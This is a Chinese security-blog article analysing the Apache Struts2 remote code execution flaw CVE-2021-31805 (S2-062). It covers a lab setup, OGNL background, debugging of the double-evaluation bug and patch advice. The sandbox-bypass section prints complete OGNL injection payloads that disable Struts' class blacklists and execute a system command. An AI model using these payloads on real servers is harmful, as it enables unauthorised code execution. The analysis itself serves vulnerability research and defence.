freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2021-31805 Apache Struts2 远程代码执行漏洞分析
2022-05-19 10:21:59
所属地 香港

漏洞描述

近日,Apache官方发布了Apache Struts2的风险通告,漏洞编号为CVE-2021-31805。Apache Struts2是一个用于开发JavaEE网络应用程序的开放源代码网页应用程序框架。
此次CVE-2021-31805(S2-062)是由于CVE-2020-17530(S2-061)修复不完整造成的。

利用范围

2.0.0 <= Apache Struts2 <= 2.5.29

漏洞分析

环境搭建

目前网上已经公开出很多集成环境,如果只需要简单复现漏洞,可以使用docker集成环境或者网上公开的在线靶场。
如果想要深入地探究漏洞产生原理,建议使用idea手工搭建环境。这里我们使用s2-061的漏洞demo来进行改造。
在下载好s2-061的demo源码后,我们需要修改三个地方。
修改一:
maven pom文件修改struts2版本为2.5.26。
image.png
修改二:
前端jsp文件,修改name属性标签,通过%{payload}进行赋值。
image.png
修改三:
修改action类
image.png

在完成改造之后,只需要将项目编译后运行在tomcat容器中即可

前置知识

在进行漏洞分析之前,我们需要了解一些有关struts2框架的基础知识,这样才能更好地去理解漏洞产生的原理。

Apache Struts 2 架构概述

image.png

  1. 客户端提交web请求,指向一个Servlet容器,Servlet容器初步解析该请求

  2. 核心处理器Filter Dispatcher 协调其他控制器处理请求并确定合适的 Action

  3. 拦截器自动将通用功能应用于请求,例如工作流、验证和文件上传处理

  4. Action 方法执行,通常存储或从数据库中检索信息

  5. 结果将输出呈现给客户端,可以是 HTML、图像、PDF 或其他内容

OGNL语法介绍

OGNL的全称是对象图导航语言( Object-Graph Navigation Language),它是一种用于获取和设置 Java对象属性的开源表达式语言,以及其他附加功能,是Struts2的默认表达式语言。
   使用这种表达式语言,可以利用表达式语法树规则,存储Java对象的任意属性,调用Java对象的方法,同时能够自动实现期望的类型转换。
   如果将表达式看作是一种带有语义的字符串,那么OGNL就是这个语义字符串与Java对象之间的沟通桥梁,其功能就是双向转换语义字符串与Java对象数据即转换String和Object。

OGNL执行操作三要素:

表达式(Expression)、根对象(Root Object)、上下文环境(Context)

OGNL 三个重要操作符号

OGNL中的三个重要符号:#、%、$,这里重点介绍%,其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。例如:<s:url value ="%{items.{title}[0]}"/>。

漏洞原理

参考国外大神的理解,在s2-061问题中,使用在jsp中定义的类,类似如下idVal=%{3*3}输入将执行双重OGNL评估,从而导致id=“9”
//example <s:a id="%{idVal}"/> //result <s:a id="9"/>
从diff分析,核心问题的部分在于属性name会调用 completeExpressionIfAltSyntax函数并将其分配给 expr,但在最终OGNL解析expr之前对name进行了递归检查。
image.png
但是如果不对name进行第二次 OGNL解析,name将不会包含用户提供的来自 URL 参数的数据。但是在前面的evaluateParams函数中却执行了另一个 OGNL解析。
image.png
所以对于某些 UIBean标记的名称属性就很容易受到两次 OGNL 解析,这就导致了远程代码执行。

动态调式

首先在org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag处打下断点,这里对标签开始解析
image.png
到org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag结束对标签解析
image.png
随后进入org.apache.struts2.components.UIBean#end
image.png
进入evaluateParams函数
在进入evaluateParams函数往后,会调用findString对属性name进行一次OGNL表达式赋值(这里我们标记为第一次OGNL表达式赋值),此时name已经被赋值为我们所提交的payload
image.png
继续往下,会对一系列的属性进行判断,目的是看这些属性是否能被利用
image.png
在判断完毕之后,会对属性name进行判断
image.png
判断的结果如下,此时的name属性不存在value且非空,所以之前两个if的判断都为永真
image.png
image.png
顺利进入completeExpressionIfAltSyntax函数
image.png
随后进入org.apache.struts2.components.Component#completeExpressionIfAltSyntax,判断altSyntax,在s2-001修复之后,altSyntax功能默认是关闭的。
image.png
同时往下会对表达式进行检查,看其中是否包含%{},如果没有就会自动加上%{}
在org.apache.struts2.util.ComponentUtils#containsExpression中,具体检查表达式是否含有%{}如下:如果包含%{}就会返回ture,就不会进入后续的findValue,反之亦然。
image.png
此时,在org.apache.struts2.util.ComponentUtils#containsExpression判断的结果为false,我们的表达式也自动被加上了%{}。接下来就进入到findValue,在这里,表达式会进行二次OGNL表达式赋值。
image.png
继续跟进,可以看到nameValue成功被解析,返回结果为“9”
image.png
此时浏览器中也成功解析
image.png

沙箱绕过

虽然目前是实现了OGNL表达式的注入,但是要想实现远程代码执行还得绕过沙箱。
首先我们来看s2-061的命令执行方式:
%{ (#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) }
在Struts2 v2.5.26之后将org.apache.tomcat加入了黑名单,导致无法获取BeanMap对象
image.png
绕过的新语法如下:
https:///?skillName=#@java.util.LinkedHashMap@{"foo":"value"}
创建一个 BeanMap 对象,可以通过如下实现:
#@org.apache.commons.collections.BeanMap@{}
所以,新的Poc如下:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))

漏洞利用

image.png

修复建议

目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到安全版本:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30

# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录